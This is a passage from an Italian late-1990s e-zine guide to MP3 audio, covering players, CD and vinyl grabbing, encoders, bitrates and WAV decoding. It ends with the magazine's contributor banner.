aziende stiano progettando dei dispositivi simili a Walkman o impianti stereo da casa che permettano la lettura e il conseguente ascolto di file in formato mp3. Come ascoltare un file compresso in formato .mp3 Una volta venuti in possesso di un file .mp3 vi servira' un programma per ascoltarlo. Di mp3 player ne esitono molti, nella sezione apposita di questo sito troverete i links che vi permetteranno di downloadare il vostro player preferito, qui di seguito invece troverete informazioni riguardanti i player migliori e di conseguenza piu' usati. Prima di andare con la lista un'avvertenza: l'uso di tali player e il conseguente ascolto di file .mp3 "succhiano" parte delle risorse del sistema, e quindi un buon player si riconosce dal fatto che oltre ad avere un buon motore di decompressione richieda piu' o meno risorse di sistema. -WinAmp Questo senza ombra di dubbio e' uno dei migliori player di .mp3 che esistano attualmente e di conseguenza e' anche il piu' usato. Giunto alla versione 1.91 questo player oltre ad avere un ottimo motore di decompressione e' quello che ha anche il maggior numero di opzioni disponibili. WinAmp permette l'uso di plug-in sia video che audio, l'uso di skins (personalizzazione dell'interfaccia grafica del programma), l'uso di playlist, possiede un'equalizzatore interno, permette l'ascolto anche di altri formati quali ad esempio i .xm, permette la trasformazione in file .wav del file .mp3 (ma non viceversa, e' un player non un decoder!). Il WinAmp esiste per varie piattaforme: DOSAMP (dos), MacAMP (machintosh), qtAMP (per linux), x11AMP (per x-windows), quindi troverete senza ombra di dubbio quella che fa per voi. Se volete un consiglio andate subito all'indirizzo http://winamp.lh.net (o andate nella sezione Player del sito di prima) e downloadatevi l'ultima release disponibile del winamp, non ve ne pentirete! -Unreal e Unreal max Questi player (sia in versione normale che per processori mmx) sono i maggiori antagonisti del WinAmp, godono forse di un minore supporto da parte del pubblico, ma non sono male, secondo me sono una buona alternativa al WinAmp. Anche questi come il WinAmp offrono la gestione di playlist, hanno un equalizzatore interno (piu' completo rispetto a quello del Winamp), personalizzazione dell'interfaccia grafica e permettono l'ascolto anche di file con diverso formato. Se fossi in voi gli darei un'occhiata... -Nad Di questo player potrete trovare la versione beta, come motore di decompressione sembrerebbe essere migliore del WinAmp, per quanto riguarda le opzioni ne ha ancora veramente poche, sembra che i programmatori per ora abbiano rivolto il loro interesse esclusivamente al motore di decompressione. Dalle ultime notizie sembrerebbe inoltre che NAD non venga piu' ulteriormente sviluppato, ma che il suo motore di riproduzione MP3 sia integrato in Sonique, maggiori info al sito http://www.sonique.com -WinPlay3 Esiste in versioni a 16 e 32 bit; una volta era shareware ora e' free, (forse perche' tanto rispetto al WinAMP non c'era storia e il codice di registrazione lo si trovava ovunque ;-)) e' il player che "ciuccia" meno risorse in windows, ma e' un po limitato rispetto a WinAMP (non ha gestione di playlist, da' problemi nell'apertura di alcuni files con nomi strani, niente effetti, non supporta l'ID3 ecc.). E' consigliato quindi per PC non proprio potenti (vekki 486 ad esempio). Grabbing Cosa necessaria per fare gli Mp3 e' il possesso di file .wav (spero che sappiate tutti che cosa sono, nel caso contrario sparatevi!) i quali verrano poi successivamente compressi e trasformati in file .mp3. Per ottenere dei file wave potrete partire da un qualsivoglia supporto sonoro, quali ad esempio nastri, vinili e cd, passando per l'ingresso line in della vostra sound blaster e registrando poi con programmi tipo Goldwave o Cooledit. Nel caso la vostra sorgente sia una cassetta o un vinile vi consiglio di "pulire" il piu' possibile il file .wav da voi generato. In ogni caso registrate i vostri .wav nel formato 44khz 16bit stereo. Nel caso della registrazioneda cd non avrete bisogno di passare dalla line in della soundblaster ma potrete utilizzare direttamente il lettore cd installato nel vostro PC. Prima di iniziare un'avvertenza: considerate che 1 minuto di registrazione in qualita' 44khz 16bit stereo occupa circa 10mb di spazio su hd. Analizzando piu' a fondo il grabbing abbiamo due distinti metodi, vediamo quali sono: Metodo 1 - Registrazione 44khz 16bit stereo di un file .wav partendo da vinile o da cassetta, passando per l'ingresso line in della soundblaster, si consiglia la successiva "pulizia" del file .wav prima di passare all'encoding. - Registrazione via scheda sonora di un Cd Audio mediante il lettore nel vostro PC. In ambedue i casi per registrare file .wav dovrete utilizzare programmi tipo CoolEdit o Goldwave, facendo ben attenzione al volume di registrazione e alla qualita' di registrazione (44khz 16bit stereo). Questo metodo e' consigliato solo nel caso si debbano creare dei file .wav partendo da cassette o vinile, oppure agli sfortunati possessori di lettori cd-rom che non permettano l'estrazione dell'audio (vedere paragrafo successivo). Metodo 2 - Registrazione di una traccia CD Audio, facendo il grabbing diretto da CD, utilizzando degli appositi programmi quali ad esempio WinDAC, Audio Grabber, CDDA (dos), ecc. Questo metodo e' particolarmente consigliato poiche' il file .wav viene generato direttamete su hd non passando per la scheda audio; inoltre non e' necessario impostare ne' il volume ne' la qualita' di registrazione. Quindi se il vostro lettore CD supporta l'estrazione di tracce audio vi conisglio caldamente di andare nella sezione Grabbing di questa Home apge, di scaricarvi un apposito programma per il grabbing (personamente uso il WinDac) e di creare i vostri .wav con questo secondo metodo. Perche' il mio lettore CD non estrae le tracce Audio? Leggere audio digitale da un lettore di Cd-Rom dovrebbe essere un'operazione banale: dopotutto e' come copiare file da un normale Cd-Rom, solo che i byte codificano la musica riprodotta dai lettori Hi-Fi invece di programmi o immagini. La realte' pero' e' diversa, come hanno sperimentato tutti coloro che hanno provato senza successo a leggere le tracce audio con il loro Cd-Rom, che invece le riproduce senza problemi. Il paradosso ha una spiegazione semplice: negli attuali lettori Cd-Rom, i circuiti di trattamento dell'audio digitale sono distinti da quelli per l'elaborazione dei dati e spesso sono addirittura contenuti in chip diversi. Un lettore Cd-Rom per computer contiene cioe' due apparecchi separati, un lettore audio e uno per i dati, che hanno in comune solo la meccanica laser, il chip demodulatore Efm e il piccolo microcontrollore di gestione. Gli ostacoli per la lettura digitale delle tracce audio nascono proprio nella sezione dati. I Cd-Audio non usano la stessa "formattaziene" dei Cd dati, ma seguono lo standard Cd-Da, che oggi si puo' classificare come una variante delle specifiche Xa mode2. Per leggere le tracce audio con successo e' necessario che il "firmware" che governa la parte dati del lettore sappia come trattare il formato Cd-Da. Per il produttore la fatica addizionale per aggiungere il supporto Cd-Da e' minima, ma c'e' chi decide di non "perdere tempo" per implementarla. Solo i modelli recenti dei marchi piu' famosi (Sony, Pioneer eccetera) supportano sempre l'estrazione digitale dei dati audio; per gli altri bisogna verificare caso per caso. Un'altra causa riguarda la correzione d'errore. I dati audio sono protetti da un complesso sistema Crc che permette di ricostruire i bit alterati dagli errori di lettura, ma gli algoritmi di correzione sono eseguiti in hardware solo dal "chip audio", che lavora esclusivamente a velocita' 1x. Poiche' i dati da inviare al computer seguono una strada completamente diversa, il produttore ha tre possibilita' per consentire la lettura digitale dei Cd-Da da parte del computer: a) abbassare la velocita' a 1x e prelevare i dati demodulati ("cooked") dall'uscita del chip audio, appena prima del filtro digitale (che va a pilotare il convertitore DIA e poi l'uscita cuffia del drive); b) eseguire gli algoritmi Crc con il firmware di gestione. Anche in questo caso la velocita' va rallentata, perche' il micro-controllore del drive potrebbe non essere abbastanza veloce per gestire dati a velocita' 8x o superiori. c) non correggere i dati ma fornire direttamente l'intero settore Xa (dati "raw") al computer, lasciando il compito di demodulare e correggere al software che gira sul PC. Teoricamente cosi' non c'e' piu' bisogno di abbassare la velocita' di lettura, ma anche i drive che seguono questo metodo leggono i Cd-Da piu' lentamente dei Cd dati, per abbassare le probabilita' d'errore. Infatti mentre il computer elabora un campione, il laser e' gia' arrivato molto piu' avanti nella lettura: in caso d'errore bisogna evitare di tornare indietro e tentare di rileggere, come invece si fa nella lettura dei Cd-Rom. Nei masterizzatori di solito questo problema non si pone, perche' il loro chip gestisce direttamente qualunque formato di dati, incluso il Cd-Da. E' probabile che in futuro anche i lettori Cd utilizzeranno un chip per il trattamento dei dati di tipo universale, ma nel frattempo solo qualche modello Scsi particolarmente costoso lo possiede. Nei lettori Eide Atapi il costo di un chip aggiuntivo per l'estrazione veloce dei Cd-Da sarebbe inaccettabile e, nella fase di transizione attuale, l'estrazione audio digitale e' supportata piu' o meno efficacemente a seconda del chipset scelto dal produttore. Encoding: produciamo i nostri .mp3 Bene siamo giunti alla spiegazione di come creare i nostri file .mp3, prima di tutto dobbiamo avere, come abbiamo visto poco sopra, un file .wav campionato a 44khz 16bit stereo e inoltre dobbiamo avere un programma utile al nostro scopo. Tali programmi prendono il nome di encoders. Ci sono, come nel caso dei palyers, molti tipi di encoder e questi variano tra loro a seconda della velocita' di compressione e della qualita' di compressione. A voi la scelta, meglio comprimere in modo piu' veloce, perdendo un po' (secondo me molto poco) sulla qualita' oppure puntare tutto sulla qualita' a scapito della velocita'? I principali motori di compressione sono due: - il primo elaborato dal Fraunhofer-IIS che punta molto sulla qualita' di produzione a scapito della velocita' - il secondo e' stato elaborato dallo Xing Lab e permette compressione di file .wav in .mp3 molto veloci a scapito della qualita' (niente di osceno comunque, visto che probabilmente e' uno dei piu' usati) Analiziamo alcuni tipi di encoders: -L3Producer Realizzato dal Fraunhofer-IIS e' un software per Windows '95 che vi installa anche il CODEC in modo da poterlo utilizzare per riprodurre Wave compressi come mp3 e sopratutto vi permette di usarlo con alcuni cd grabber (vedi paragrafo precendete) quali ad esempio Audiograbber (mitica accoppiata) o WinDac. -L3Encoder Realizzato sempre dal Fraunhofer-IIS, si puo' dire che sia il corrispettivo DOS del L3Producer, naturalmente per questo esistono una miriade di Frontend per Windows 95 in modo che non dobbiate scrivere alcun comando. Sia questo che il precedente encoders producono file .mp3 di ottima qualita' a scapito della velocita' sopratutto sui Pc piu' lenti. -Mp3 Compressor Questo compressore sfrutta illegalmente il CODEC presente nell'L3Producer, offrendo una interfaccia differente, dando la possibilita' anche di fare un quick encoding piu' veloce rispetto a l3producer e l3encoder, ma di qualita' piu' scarsa. -Xing Mpeg Encoder Lo xing e'stato pubblicizzato molto nel mondo Mp3 come il piu' veloce encoder esistente, ed effettivamente e' cosi', unico neo di questo potente compressore risiede nel fatto che si hanno degli .mp3 di piu' scarsa qualita' rispetto ai compressori che usano il motore Fraunhofer-IIS (secondo me non tale da essere considerati merda, sono sicuro che molti di voi non noteranno le differenze...). Per creare file .mp3 questo encoder (che puo' comprimere anche file video) deve essere opportunatamente settato. Quindi mi raccomando (partite da new profiles). L'utilizzo di un encoders rispetto ad un altro dipende da voi, dipende da quello che dovete encodare e per quale motivo, sulla rete delle reti ci sono pareri molto discordanti, la maggioranza di quelli con cui chatto usa ambedue i motori di compressione, a seconda delle occasioni, a voi la scelta. Per quanto riguarda la qualita' di encoding, non posso che consigliare per avere una resa buona: 128kbit/s 44 Khz 16 bit Stereo questi settaggi vi dovrebbero dare una qualita' VICINA a quella del CDoriginale (NON UGUALE, leggetevi la prima parte di questa specie di guida al mondo degli .mp3). Alcuni per ottenere una qualita' superiore utilizza encoding a 192kb o 256kb addirittura, con questo tipo di compressione iniziate pero' ad aumentare sensibilmente le dimensioni del file, come gia' detto poco sopra e' una vostra scelta (se dovete scambiare file .mp3 sulla rete, vi consiglio di usare la compressione standard, ovvero 128kbit/s 44 Khz 16 bit Stereo). Se dovete invece encodare dei file .wav abbastanza rovinati, il "rapporto" di compressione puo' anche scendere, portando un esempio, per le vecchie sigle dei cartoni animati, prese spesso da vinile, viene usata una compressione del tipo 156kbit/s 32 Khz 16 bit Stereo. Decoding: ridatemi il mio file .wav! A volte potrebbe esserci utile trasformare i file .mp3 in file .wav (birbantelli lo so che vi scaricate da internet album full cd in formato .mp3 e poi vi viene vogli di farvi il vostro Cd Audio da sentire a palla con il vostro stereo di casa :) , per fare cio' vi serve un masterizzatore e un programma di masterizzazione (tipo easy cd creator) per un qualsiasi motivo. Come fare? Semplice anche in questo caso possiamo utilizzare diversi programmi e diversi sistemi. Vi illustro solamente il metodo piu' semplice e immediato (solo per conoscenza sappiate che la Fraunhofer-IIS insieme al suo encoder fornisce anche relativo decoder) utilizzando WinAmp. Scaricatevi WinAmp, andate su preferences, a input plug-in cliccate su Nullsoft Mp2/mp3 decoder, a output device selezionate .wav file output (silent); a questo punto cliccate su ok, lanciate il vostro mp3 preferito, non sentirete nulla, ma noterete che il tempo scorre piu' velocemente del normale, finito questo andate nella directory da voi selezionata e troverete il file .wav del corrispettivo .mp3 da voi selezionato. Che dire... buona masterizzazione ;-) Novita' dell'ultima ora o quasi (quando le ho scoperte io ;-) ) Come cominciare quest'ultima parte? Ah si' sono in ufficio nella classica pausa pranzo, fa un caldo della madonna e non ho fantasia di uscire per il pranzo (sono 4 giorni che non pranzo eh eh eh) quindi mi metto qui davanti al PC e scrivo quelle che secondo me sono le ultime novita' in fatto di .mp3 (girano gia' da mesi, ma questa guida io la sto scrivendo ora...): 1) In USA stanno uscendo i primi mp3 walkman ovvero walkman che al posto delle classiche cassettine hanno delle memorie flash (10mb 30mb 50mb) su cui memorizzare gli mp3. Che dire? Come tutte le novita' inizilamente il costo di questi aggeggi e' proibitivo (al cambio attuale circa mezza testa ops mezzo milione). Comunque l'idea a me sembra abbastanza fika... 2) Nuovi formati entrano in diretta battaglia con il formato .mp3. Sto parlando dei .vq della yamaha e dei .cce prodotti da Audiolibrary - Yamaha Vq: che dire a un primo ascolto non mi sembrano affato male, sul sito della yamaha potrete scaricare sia l'encoder che il player (sono due programmi distinti...). Per quano riguarda la velocita' di compressione mi sembra abbastanza buona cosi' come la qualita' di compressione. Provateli anche voi. Se puo' esservi utile cominciano a comparire i primi canali irc dove si scambiano songs esclusivamente in questo formato... - Audiolibrary .cce: formato fattomi scoprire dal buon Pacciani, come prima impressione che dire? RULEZZANO DI BRUTTO. Tutto quello di cui avete bisogno e' il programma Audiolibrary che funge sia da encoder che da player. Velocita' di compressione buona, molto buona... quello che stupisce e' pero' la qualita' della trasmissione. Infatti pur comprimendo i file a 128kbit subito si nota che la qualita' di questi ultimi corrisponde a quella di un .mp3 compresso a 192kbit, ma okkupando lo stesso spazio di un .mp3 compresso a 128kbit! Secondo molti questo sara' il sistema di compressione audio del futuro. Se fossi in voi gli darei un okkio! Ringraziamenti finali: - Cavallo per l'idea, per il filo conduttore di questa guida, per tutto il resto. - Pacciani, e' lui che mi ha mandato in fissa con gli .mp3 . - S0ftProject Group al completo. Dr. Slump per S0ftProject Crew ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ ³º º³ HANN0 C0LLAá0RAT0 A QUEST0 NUMER0: ³º º³ ³º º³ Alex Kuligk - b0z0 - Blinking - Cavallo - Darker ³º º³ Dark Schneider - DevilKiss - Dr_Slump - DrumFire ³º º³ Eric Draven - Frank Black - Fre - fusys - [goku] ³º º³ InfectedMachine - Jack McKrak - jH - LordFelix - Nello|Z ³º º³ onid^ - |Pazzo| - pIGpEN - Raptor - |scacco| - SMa$teR ³º º³ sorbo - sPIRIT - The_Hawk - \\alV^iCf - xOANON ³º º³ ³º º³ iL SiT0 UŸŸiCiALE Di áUTCHERED ŸR0M iNSiDE: ³º º³ http://bfi98.home.ml.org ³º º³ ³º º³ C0NTATTATECi ViA E-MAiL: ³º º³ BFI98@USA.NET ³º º³ ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ******************************************************************************* * SI _VIETA_ DI POSTARE BFI SUI NEWSGROUP * *******************************************************************************